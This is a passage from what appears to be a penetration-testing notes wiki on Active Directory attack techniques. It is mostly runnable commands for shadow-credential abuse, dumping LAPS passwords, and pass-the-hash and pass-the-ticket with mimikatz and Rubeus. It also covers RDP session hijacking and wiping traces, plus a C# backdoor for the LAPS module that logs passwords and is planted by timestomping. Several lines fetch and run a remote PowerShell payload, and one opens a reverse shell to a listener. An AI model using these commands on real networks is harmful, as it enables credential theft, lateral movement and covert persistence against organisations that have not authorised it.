$ hashcat -m31300 -O -a0 -w3 --session=sntp -o sntp.out sntp.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule
$ hashcat -m10 -O -a0 -w3 --session=sntp -o sntp.out sntp.in nthashes.txt --hex-wordlist --hex-salt
```

### Targeted

* <https://medium.com/@offsecdeer/targeted-timeroasting-stealing-user-hashes-with-ntp-b75c1f71b9ac>
* <https://github.com/OffsecDeer/TargetedTimeroast>
* <https://github.com/PShlyundin/TimeSync>


# Key Credentials Abuse

> "...if you can write to the `msDS-KeyCredentialLink` property of a user, you can retrieve the NT hash of that user." (Elad Shamir, [ref](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab))

That makes `GenericWrite` on a user effectively equal to DCSync right on that user.

{% hint style="info" %}
Remember that `WriteDacl` != `GenericWrite`, so in order to modify `msDS-KeyCredentialLink`, obtain necessary privileges first. For example, using [StandIn](https://github.com/FuzzySecurity/StandIn):

```
Cmd > Rubeus.exe createnetonly /program:cmd.exe /show /ticket:tgt.kirbi
Cmd > StandIn.exe --domain megacorp.local --object "samaccountname=snovvcrash" --grant "MEGACORP\jdoe" --type GenericAll
```

{% endhint %}

Check for existence of the `msDS-KeyCredentialLink` property in LDAP scheme with [powerview.py](https://github.com/aniqfakhrul/powerview.py):

```
PS > Get-DomainObject -SearchBase CN=Schema,CN=Configuration,DC=megacorp,DC=local -Properties lDAPDisplayName -Where "lDAPDisplayName contains msDS-KeyCredentialLink"
```

## Whisker

* <https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab>
* <https://github.com/eladshamir/Whisker>

List all the values of the the `msDS-KeyCredentialLink` attribute of a target object:

```
Cmd > .\Whisker.exe list /target:WS01$ /domain:megacorp.local /dc:DC1.megacorp.local
```

Add a new value to the `msDS-KeyCredentialLink` attribute of a target object:

```
Cmd > .\Whisker.exe add /target:WS01$ /domain:megacorp.local /dc:DC1.megacorp.local /path:C:\Temp\cert.pfx /password:Passw0rd!
```

Remove a value from the `msDS-KeyCredentialLink` attribute of a target object:

```
Cmd > .\Whisker.exe remove /target:WS01$ /domain:megacorp.local /dc:DC1.megacorp.local /deviceid:00ff00ff-00ff-00ff-00ff-00ff00ff00ff
```

Clear all the values of the the `msDS-KeyCredentialLink` attribute of a target object:

```
Cmd > .\Whisker.exe clear /target:WS01$ /domain:megacorp.local /dc:DC1.megacorp.local 
```

## pywhisker

* <https://github.com/ShutdownRepo/pywhisker>
* <https://podalirius.net/en/articles/parsing-the-msds-keycredentiallink-value-for-shadowcredentials-attack/>

```
$ python3 pywhisker.py -d megacorp.local -u svc_mssql -p 'Passw0rd!' --target sqltest --action list
$ python3 pywhisker.py -d megacorp.local -u svc_mssql -p 'Passw0rd!' --target sqltest --action add -f sqltest_cert
$ python3 pywhisker.py -d megacorp.local -u svc_mssql -p 'Passw0rd!' --target sqltest --action list
$ python3 pywhisker.py -d megacorp.local -u svc_mssql -p 'Passw0rd!' --target sqltest --action clear
$ python3 gettgtpkinit.py megacorp.local/sqltest -cert-pfx sqltest_cert.pfx -pfx-pass <PFX_PASS> sqltest.ccache
$ KRB5CCNAME=sqltest.ccache python3 getnthash.py megacorp.local/sqltest -key <AES_KEY>
```

## Certipy

```
$ certipy shadow auto -u svc_mssql@megacorp.local -k -no-pass -account sqltest -target DC01.megacorp.local -dc-ip 192.168.1.11 [-ns 192.168.1.11] [-dns-tcp]
```

## Tools

* <https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/Get-ADKeyCredential.md>
* <https://github.com/RedTeamPentesting/keycred>


# LAPS

Local Administrator Password Solution

* <https://adsecurity.org/?p=1790>

## Enabled?

Check locally:

```
PS > gc "c:\program files\LAPS\CSE\Admpwd.dll"
PS > Get-FileHash "c:\program files\LAPS\CSE\Admpwd.dll"
PS > Get-AuthenticodeSignature "c:\program files\LAPS\CSE\Admpwd.dll"
```

Check in LDAP:

```
PV3 > Get-DomainObject "CN=ms-Mcs-AdmPwd,CN=Schema,CN=Configuration,DC=megacorp,DC=local"
PV3 > Get-DomainObject "CN=ms-Mcs-AdmPwdExpirationTime,CN=Schema,CN=Configuration,DC=megacorp,DC=local"
```

Extract SAM with CME and compare admins' hashes:

```
$ for ip in `cat smb.txt`; do cme smb $ip -u snovvcrash -p 'Passw0rd!' --sam 2>/dev/null | grep -av '(' | grep -ai -e admin -e админ; sleep 1; done
```

Grab from BloodHound dump:

```
$ cat 19700101000000_computers | jq '.data[].Properties | select(.enabled == true and .haslaps == false and .operatingsystem != null) | select(.distinguishedname | contains("Servers")) | select(.operatingsystem | contains("Windows")) | .name' -r > nolaps_servers.txt
```

## Get Passwords

### PowerShell

#### ActiveDirectory

Query LDAP for AD computer objects with their passwords and its expiration date:

```
PS > $laps = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime -Server DC01 | ? {$_.'ms-Mcs-AdmPwd'} | select Name,ms-Mcs-AdmPwd,@{label="ExpDate";Expression={([datetime]::FromFileTime([convert]::ToInt64($_.'ms-Mcs-AdmPwdExpirationTime')))}}
PS > $laps | select -First 10
```

Check the name of enabled local administrators on a remote machine:

```
PS > Get-CimInstance -ComputerName SRV01 -ClassName Win32_Group -Filter "Name='Administrators'" | Get-CimAssociatedInstance -Association Win32_GroupUser | ? {$_.Disabled -eq $false} | fl
```

Change LAPS password (just zero the expiration time attribute):

```
PS > Get-ADComputer PC01 -Properties ms-MCS-AdmPwdExpirationTime| % {Set-ADComputer -Identity $_ -Replace @{"ms-MCS-AdmPwdExpirationTime" = "0"}}
```

#### Get-LAPSPasswords

* <https://www.netspi.com/blog/technical/network-penetration-testing/running-laps-around-cleartext-passwords/>
* <https://github.com/kfosaaen/Get-LAPSPasswords>

```
PS > $cred = New-Object System.Management.Automation.PSCredential('snovvcrash', $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force))
PS > Get-LAPSPasswords -DomainController 10.10.13.37 -Credential $cred | fl
```

#### LAPSToolkit

* <https://www.pentestgeek.com/penetration-testing/another-lap-around-microsoft-laps>
* <https://github.com/leoloobeek/LAPSToolkit>

Enumerate LAPS groups and permissions:

```
PS > $lapsGroups = Find-LAPSDelegatedGroups
PS > $lapsRights = Find-AdmPwdExtendedRights
```

Get passwords:

```
PS > Get-LAPSComputers
```

### CrackMapExec

* <https://github.com/T3KX/Crackmapexec-LAPS>
* <https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/modules/laps.py>

```
$ cme ldap <DC_IP> -u snovvcrash -p 'Passw0rd!' -M laps
```

### LAPSDumper

* <https://github.com/n00py/LAPSDumper>

```
$ python laps.py -d megacorp.local -u snovvcrash -p 'Passw0rd!'
$ python laps.py -d megacorp.local -l DC01.megacorp.local -u snovvcrash -p aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
```

## Persistence

Increase the expiration time of a compromised computer object's `ms-mcs-admpwdexpirationtime` property value:

```
PV3 > Get-DomainObject -Identity SRV01 -Properties ms-mcs-admpwdexpirationtime
PV3 > Set-DomainObject -Identity SRV01 -Set @{"ms-mcs-admpwdexpirationtime"="<EPOCH>"}
```

## Backdoor

Recompile [admpwd](https://github.com/GreyCorbel/admpwd) having added some evil code [here](https://github.com/GreyCorbel/admpwd/blob/1461172b2002ce37e31c221f6532a8ce7de1a295/Main/AdmPwd.PS/Main.cs#L140):

```csharp
PasswordInfo pi = DirectoryUtils.GetPasswordInfo(dn);
var line = $"{pi.ComputerName} : {pi.Password}";
System.IO.File.AppendAllText(@"C:\Temp\LAPS.txt", line);
WriteObject(pi);
```

Replace the original `AdmPwd.PS.dll` assembly with a newly generated one and fix the timestamp:

```
beacon> cd C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS
beacon> upload AdmPwd.PS.dll
beacon> timestomp AdmPwd.PS.dll AdmPwd.PS.psd1
beacon> ls
```


# Lateral Movement

* <https://eventlogxp.com/blog/logon-type-what-does-it-mean/>
* <https://www.infosecmatter.com/rce-on-windows-from-linux-part-1-impacket/>
* <https://www.hackingarticles.in/remote-code-execution-using-impacket/>
* <https://xakep.ru/2020/11/16/lateral-guide/>
* <https://docs.microsoft.com/en-us/defender-for-identity/playbook-lateral-movement>
* <https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them>
* <https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types>


# DCOM

Distributed COM

## Tools

### DCOMUploadExec

* <https://www.deepinstinct.com/blog/forget-psexec-dcom-upload-execute-backdoor>
* <https://github.com/deepinstinct/DCOMUploadExec>

### ForsHops

* <https://www.ibm.com/think/news/fileless-lateral-movement-trapped-com-objects>
* <https://github.com/susMdT/ForsHops>

### BitlockMove

* <https://github.com/rtecCyberSec/BitlockMove>
* <https://www.r-tec.net/r-tec-blog-revisiting-cross-session-activation-attacks.html>
* <https://github.com/AlmondOffSec/DCOMRunAs>


# Overpass-the-Hash

* <https://unshade.tech/sacrificial-session>

## Mimikatz

* <https://github.com/GhostPack/Rubeus#example-over-pass-the-hash>
* <https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/>

Create a new process with dummy creds ([Logon type 9](https://ss64.com/nt/syntax-logon-types.html)), open the LSASS process and patch it with the supplied NT hash. This causes the normal Kerberos authentication process to kick off as normal as if the user had normally logged on, turning the supplied hash into a fully-fledged TGT:

```
Cmd > .\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::pth /user:snovvcrash /domain:megacorp.local /run:c:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /ntlm:fc525c9683e8fe067095ba2ddc971889" "exit"
```

{% hint style="warning" %}
It also work for local accounts but for the reason that patching LSASS does not change the security information or user information for this process, the new credentials in LSASS can correctly be used only for network authentication and not for identifying the local user account associated with the process. (paraphrased from [here](https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/))

That's why for local accounts such options as `net use \\localhost\c$`, WMI calls or PsExec can be considered.
{% endhint %}

## Rubeus

* <https://github.com/GhostPack/Rubeus>
* <https://github.com/GhostPack/Rubeus#example-over-pass-the-hash>

Create a sacrificial process ([Logon type 9](https://ss64.com/nt/syntax-logon-types.html)), legitimately ask Kerberos for TGT, import it and interact with the process (need elevated context):

```
Cmd > .\Rubeus.exe asktgt /domain:megacorp.local /dc:dc1 /user:snovvcrash /password:Passw0rd! /createnetonly:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /show
Cmd > .\Rubeus.exe asktgt /domain:megacorp.local /dc:dc1 /user:snovvcrash /rc4:fc525c9683e8fe067095ba2ddc971889 /createnetonly:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /show
```

{% hint style="info" %}
If operating Rubeus from a C2 agent, you can [steal\_token](https://github.com/snovvcrash/PPN/blob/master/pentest/c2/cobalt-strike/README.md) instead of using `/show` option.
{% endhint %}

Create a new process with dummy creds ([Logon type 9](https://ss64.com/nt/syntax-logon-types.html)) manually, then use Rubeus with user's NT hash to ask for a TGT and import it:

```
Cmd > runas /netonly /user:megacorp.local\snovvcrash cmd
Enter the password for megacorp.local\snovvcrash: dummy_Passw0rd!
Cmd > .\Rubeus.exe asktgt /domain:megacorp.local /dc:dc1 /user:snovvcrash /rc4:fc525c9683e8fe067095ba2ddc971889 /ptt
```

A more opsec safe approach is to use AES key (KeyType 0x12) instead of RC4-HMAC (KeyType 0x17) alongside with `/opsec` switch which instructs Rubeus not to do pre-auth (mimics standard Kerberos behavior):

```
Cmd > .\Rubeus.exe asktgt /domain:megacorp.local /dc:dc1 /user:snovvcrash /aes256:94b4d075fd15ba856b4b7f6a13f76133f5f5ffc280685518cad6f732302ce9ac /ptt /opsec
```


# Pass-the-Hash

* <https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/>

## NamedPipePTH

* <https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/>
* <https://github.com/S3cur3Th1sSh1t/NamedPipePTH>
* <https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH>

Impersonate a user with Pass-the-Hash for **local** actions (network authentication does not work with `Impersonation Token`, only with `Delegation Token`):

```
PS > Invoke-ImpersonateUser-PTH -Username snovvcrash -Hash fc525c9683e8fe067095ba2ddc971889 -Target localhost -Domain . -PipeName mypipe -Binary C:\Windows\System32\cmd.exe -Verbose
PS > Invoke-SharpNamedPipePTH -C "username:snovvcrash domain:{megacorp.local|localhost} hash:fc525c9683e8fe067095ba2ddc971889 binary:C:\Windows\System32\cmd.exe"
```

Can be used for authenticating in SQL Server management tools (`%PROGRAMFILES(X86)%\Microsoft SQL Server Management Studio 18\Common7\IDE\Ssms.exe`) and accessing DBs with SQL admin hash, for example.

## PtH Notes

* <https://offensivedefence.co.uk/posts/ntlm-auth-firefox/>
* <https://sensepost.com/blog/2023/protected-users-you-thought-you-were-safe-uh/>

### User Account Control

* <https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/>

### LocalAccountTokenFilterPolicy & FilterAdministratorToken

| Property Name                                                                                                                                              | Property Path                                                     |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------- |
| [LocalAccountTokenFilterPolicy](https://docs.microsoft.com/ru-ru/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction) | `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\` |
| [FilterAdministratorToken](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gpsb/7c705718-f58e-4886-8057-37c8fd9aede1)                      | `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\` |

If `LocalAccountTokenFilterPolicy` exists and is set to `1` (doesn't exist by default), remote connections from **all** local admins are not affected by UAC and PtH will succeed:

```
PS > Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" -Name LocalAccountTokenFilterPolicy
```

If `FilterAdministratorToken` exists and is set to `1` (doesn't exist by default), builtin local admin account (RID 500) is affected by UAC and PtH will fail:

```
PS > Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" -Name FilterAdministratorToken
```

Add:

```
Cmd > reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
PS > New-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "LocalAccountTokenFilterPolicy" -PropertyType "DWORD" -Value 1 -Force
```

Cleanup:

```
Cmd > reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /f
PS > Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "LocalAccountTokenFilterPolicy" -Force
```


# Pass-the-Ticket

Keep your TGTs fresh!

```
$ while true; do KRB5CCNAME=j.doe@krbtgt_MEGACORP.LOCAL@MEGACORP.LOCAL.ccache proxychains4 -q impacket-getST -k -no-pass megacorp.local/j.doe -spn krbtgt/megacorp.local -renew; sleep 3600; done
```

## Rubeus

Show Kerberos tickets in all logon sessions if elevated (otherwise it will only show tickets in current logon session):

```
PS > .\Rubeus.exe triage | findstr krbtgt | findstr admin
```

Extract the tickets from memory:

```
PS > .\Rubeus.exe dump [/service:krbtgt] [/luid:0x1337] /nowrap
```

Create a sacrificial process ([Logon type 9](https://ss64.com/nt/syntax-logon-types.html)) and import the TGT into its logon session:

```
PS > .\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /show
PS > .\Rubeus.exe ptt /luid:0x1337 /ticket:<BASE64_TICKET>
```

{% hint style="info" %}
If operating Rubeus from a C2 agent, you can [steal\_token](https://github.com/snovvcrash/PPN/blob/master/pentest/c2/cobalt-strike/README.md) instead of using `/show` option.
{% endhint %}

{% hint style="success" %}
You can also extract and reuse TGS tickets with this technique.
{% endhint %}

## LSA Whisperer

* <https://github.com/EvanMcBroom/lsa-whisperer/releases/tag/latest>

```
lsa> kerberos TransferCredentials --sluid <SRC_LUID> --dluid <DST_LUID>
```

## Manual Tickets Injection

* <https://github.com/OtterHacker/Cerbere>
* <https://xakep.ru/2023/04/04/no-mimikatz/>
* <https://github.com/MzHmO/articles/tree/main/Ticket%20Injector>
* <https://github.com/MzHmO/PowershellKerberos>


# RDP

Remote Desktop Protocol

* <https://syfuhs.net/how-authentication-works-when-you-use-remote-desktop>
* <https://posts.specterops.io/revisiting-remote-desktop-lateral-movement-8fb905cb46c3>
* <https://blog.devolutions.net/2025/03/using-rdp-without-leaving-traces-the-mstsc-public-mode/>

Look for terminal servers in a domain:

```powershell
PS > Get-ADComputer -LDAPFilter "(&(objectClass=computer)(memberOf=CN=Terminal Server License Servers,CN=Builtin,$((Get-ADRootDSE).rootDomainNamingContext)))" | select dNSHostName
```

## Terminal Services API

### qwinsta

* <https://blog.harmj0y.net/powershell/powerquinsta/>
* <https://0xv1n.github.io/posts/sessionenumeration/>
* <https://github.com/0xv1n/RemoteSessionEnum>

## Enable RDP

With meterpreter:

```
meterpreter > run getgui -e
```

With `reg.exe`:

```
Cmd > reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

With PowerShell:

```
PS > Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0
PS > Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
PS > Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1
```

Manually add firewall rule (if necessary):

```
Cmd > netsh advfirewall firewall add rule name="Allow Remote Desktop" dir=in protocol=TCP localport=3389 action=allow
PS > New-NetFirewallRule -DisplayName 'Allow Remote Desktop' -Profile @('Domain', 'Private') -Direction Inbound -Action Allow -Protocol TCP -LocalPort @('3389')
```

## Restricted Admin

* <https://www.kali.org/penetration-testing/passing-hash-remote-desktop/>
* <https://blog.ahasayen.com/restricted-admin-mode-for-rdp/>
* <https://labs.f-secure.com/blog/undisable/>
* <https://shellz.club/pass-the-hash-with-rdp-in-2019/>
* <https://github.com/GhostPack/RestrictedAdmin>
* <https://www.pentestpartners.com/security-blog/abusing-rdps-remote-credential-guard-with-rubeus-ptt/>

RDP with [PtH](http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/): RDP needs a plaintext password unless Restricted Admin mode is enabled.

Check / enable / disable with PowerShell:

```
PS > Get-ChildItem "HKLM:\System\CurrentControlSet\Control\Lsa" -Recurse
PS > Get-Item "HKLM:\System\CurrentControlSet\Control\Lsa"
PS > New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value 0 -PropertyType "DWORD"
PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin"
PS > Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value 1
PS > Remove-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin"
```

Check / enable / disable with Impacket:

```
$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 query -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -s
$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v DisableRestrictedAdmin -vt REG_DWORD -vd 0
$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 query -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v DisableRestrictedAdmin
$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v DisableRestrictedAdmin -vt REG_DWORD -vd 1
$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 delete -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\Lsa' -v DisableRestrictedAdmin
```

Enable with CME:

```
$ cme smb 192.168.1.11 -u Administrator -H fc525c9683e8fe067095ba2ddc971889 -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
```

Usage:

```
$ xfreerdp /pth ...
Cmd > mstsc.exe /restrictedAdmin ...
```

## Remote Credential Guard

* <https://learn.microsoft.com/en-us/windows/security/identity-protection/remote-credential-guard>
* <https://www.pentestpartners.com/security-blog/abusing-rdps-remote-credential-guard-with-rubeus-ptt/>

```
Cmd > ksetup /addkdc MEGACORP.LOCAL dc01.megacorp.local
Cmd > ksetup /setrealmflags MEGACORP.LOCAL tcpsupported
Cmd > shutdown -r -t 0
Cmd > Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /dc:dc01.megacorp.local /aes256:<AES_KEY> /opsec /nowrap /ptt
Cmd > Rubeus.exe asktgs /ticket:<TICKET> /service:TERMSRV/PC01.megacorp.local,CIFS/PC01.megacorp.local,HOST/PC01.megacorp.local /domain:megacorp.local /dc:dc01.megacorp.local /nowrap /ptt
Cmd > mstsc.exe /remoteGuard ...
```

## Smart Card Authentication

Disable enforced smart card authentication during interactive logon:

```
PS > Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\policies\System" -Name "scforceoption"
PS > Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\policies\System" -Name "scforceoption" -Value 0
```

### Emulating PIV

* <https://www.pentestpartners.com/security-blog/living-off-the-land-ad-cs-style/>
* <https://github.com/CCob/PIVert>
* <https://twitter.com/an0n_r0/status/1560699385545195521>
* <https://twitter.com/snovvcrash/status/1561020682242326528>

## NLA

Disable NLA:

```
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)
```

## Hijack RDP Sessions

* <http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html>
* <https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement>
* <https://qtechbabble.wordpress.com/2017/04/07/use-quser-to-view-which-accounts-are-logged-inremoted-in-to-a-computer/>

Run Task manager as LocalSystem to hijack other users' sessions:

```
PS > .\PsExec64.exe -si C:\Windows\System32\Taskmgr.exe -accepteula
```

The same can be achieved with `tscon.exe`:

```
PS > .\PsExec64.exe -s \\localhost cmd
PS > quser.exe
PS > cmd /k tscon.exe <ID> /dest:<CURRENT_SESSIONNAME>
```

### Tools

* <https://github.com/fortra/impacket/blob/master/examples/tstool.py>
* <https://github.com/netero1010/RDPHijack-BOF>

## Wipe Connection Artifacts

* <https://devolutions.net/blog/2025/03/using-rdp-without-leaving-traces-the-mstsc-public-mode/>

```powershell
cmdkey /list | ? { $_ -Match "TERMSRV/" } | % { $_ -Replace ".*: " } | % { cmdkey /delete:$_ }
Remove-Item -Path "$Env:LocalAppData\Microsoft\Terminal Server Client\Cache" -Recurse -ErrorAction SilentlyContinue
Remove-Item -Path "$Env:LocalAppData\Microsoft\Terminal Server Client\Cache" -Recurse -ErrorAction SilentlyContinue
Remove-Item -Path "HKCU:\Software\Microsoft\Terminal Server Client\Default" -Force -ErrorAction SilentlyContinue
Remove-Item -Path "HKCU:\Software\Microsoft\Terminal Server Client\Servers" -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item -Path "HKCU:\Software\Microsoft\Terminal Server Client\LocalDevices" -Recurse -Force -ErrorAction SilentlyContinue
```

## Tools

### SharpRDP

* <https://github.com/0xthirteen/SharpRDP>
* <https://github.com/S3cur3Th1sSh1t/SharpRDP>

```
Cmd > .\SharpRDP.exe computername=srv01 command="iex(new-object net.webclient).downloadstring('http://10.10.13.37:8080/grunt.ps1')" username=megacorp\snovvcrash password=Passw0rd!
```

### SharpRDPHijack

* <https://github.com/bohops/SharpRDPHijack>

### TakeMyRDP

* <https://github.com/TheD1rkMtr/TakeMyRDP>
* <https://github.com/nocerainfosec/TakeMyRDP2.0>


# RPC

Remote Procedure Call

* <https://sensepost.com/blog/2021/building-an-offensive-rpc-interface/>
* <https://github.com/s0i37/lateral>

## SCM

* <https://github.com/Mr-Un1k0d3r/SCShell>
* <https://github.com/juliourena/SharpNoPSExec>
* <https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Fileless%20Lateral%20Movement/Program.cs>

Using Python [implementation](https://github.com/Mr-Un1k0d3r/SCShell/blob/master/scshell.py) and PtH:

```
$ python scshell.py MEGACORP/snovvcrash@192.168.1.11 -hashes :fc525c9683e8fe067095ba2ddc971889 -service-name lfsvc
SCShell>C:\windows\system32\cmd.exe /c powershell.exe -nop -w hidden -c iex(new-object net.webclient).downloadstring('http://10.10.13.37:8080/payload.ps1')
```

## Task Scheduler

* <https://riccardoancarani.github.io/2021-01-25-random-notes-on-task-scheduler-lateral-movement/>
* <https://cymulate.com/blog/task-scheduler-new-vulnerabilities-for-schtasks-exe/>

### RPC

* [\[PDF\] Unorthodox Lateral Movement (Riccardo Ancarani)](https://github.com/RiccardoAncarani/talks/blob/master/F-Secure/unorthodox-lateral-movement.pdf)
* <https://github.com/Ridter/atexec-pro>

### Task Tampering

* <https://labs.withsecure.com/publications/scheduled-task-tampering>
* <https://github.com/jsecu/ModTask>

### Hidden Tasks

* <https://habr.com/ru/companies/rvision/articles/723050/>
* <https://rt-solar.ru/solar-4rays/blog/4839/>
* <https://github.com/4RAYS-by-SOLAR/taskcache-re-plugin>
* <https://github.com/BinaryDefense/HiddenTaskHunter/blob/main/hunt_hidden_tasks.ps1>

#### GhostTask

* <https://github.com/netero1010/GhostTask>
* <https://gist.github.com/Workingdaturah/991de2d176b4b8c8bafd29cc957e20c2>
* <https://github.com/dmcxblue/SharpGhostTask>

### Tools

* <https://github.com/mandiant/SharPersist>
* <https://github.com/RiccardoAncarani/TaskShell>
* <https://github.com/netero1010/ScheduleRunner>

#### go-msrpc / goexec

* <https://github.com/oiweiwei/go-msrpc>
* <https://www.falconops.com/blog/introducing-goexec>
* <https://github.com/FalconOpsLLC/goexec>

## Research / Fuzzing

* <https://www.incendium.rocks/posts/Automating-MS-RPC-Vulnerability-Research/>
* <https://github.com/warpnet/MS-RPC-Fuzzer>


# RunAs

## Cmd

### runas.exe

```
Cmd > runas /u:snovvcrash powershell.exe
```

## PowerShell

```
PS > $cred = New-Object System.Management.Automation.PSCredential('<HOSTNAME>\<USERNAME>', $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force))
```

### Process.Start

```
PS > $computer = "PC01"
PS > [System.Diagnostics.Process]::Start("C:\Windows\System32\cmd.exe", "/c ping -n 1 10.10.13.37", $cred.Username, $cred.Password, $computer)
```

### Start-Process

```
PS > Start-Process -FilePath "C:\Windows\System32\cmd.exe" -ArgumentList "/c ping -n 1 10.10.13.37" -Credential $cred
```

### Invoke-Command

With `-Credential`:

```
PS > Invoke-Command -ComputerName <HOSTNAME> -ScriptBlock { whoami } -Credential $cred
```

With `-Session`:

```
PS > $s = New-PSSession -ComputerName <HOSTNAME> -Credential $cred
PS > Invoke-Command -ScriptBlock { whoami } -Session $s
```

### Invoke-RunAs

* <https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/management/Invoke-RunAs.ps1>

```
PS > Invoke-RunAs -UserName snovvcrash -Password 'Passw0rd!' -Domain MEGACORP -Cmd cmd.exe -Arguments "/c ping -n 1 10.10.13.37"
```

### Invoke-CommandAs

* <https://github.com/mkellerman/Invoke-CommandAs/blob/master/Invoke-CommandAs/Private/Invoke-ScheduledTask.ps1>
* <https://github.com/mkellerman/Invoke-CommandAs/blob/master/Invoke-CommandAs/Public/Invoke-CommandAs.ps1>
* <https://malicious.link/post/2020/run-as-system-using-evil-winrm/>

```
PS > . .\Invoke-ScheduledTask.ps1
PS > . .\Invoke-CommandAs.ps1
PS > Invoke-CommandAs -ScriptBlock {whoami} -AsUser $cred
```

### RunasCs

* <https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1>

```
$ rlwrap nc -lvnp 1337
PS > Invoke-RunasCs -Username snovvcrash -Password 'Passw0rd!' -Domain megacorp.local -Command powershell.exe -Remote 10.10.13.37:1337
```


# SMB

Server Message Block

Enable `C$` / `ADMIN$` shares remotely with Impacket:

```
$ reg.py Administrator:'Passw0rd!'@192.168.1.11 add -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters' -v 'AutoShareServer' -vt REG_DWORD -vd 1
$ reg.py Administrator:'Passw0rd!'@192.168.1.11 add -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters' -v 'AutoShareWks' -vt REG_DWORD -vd 1
$ services.py Administrator:'Passw0rd!'@192.168.1.11 stop -name lanmanserver
$ services.py Administrator:'Passw0rd!'@192.168.1.11 start -name lanmanserver
```

## Named Pipes

* <https://github.com/malcomvetter/CSExec>
* <https://v1k1ngfr.github.io/fuegoshell/>
* <https://github.com/v1k1ngfr/fuegoshell/>
* <https://github.com/trustedsec/The_Shelf/tree/main/POC/impacketremoteshell>
* <https://sensepost.com/blog/2025/pipetap-a-windows-named-pipe-proxy-tool/>
* <https://github.com/sensepost/pipetap>

### PsExec

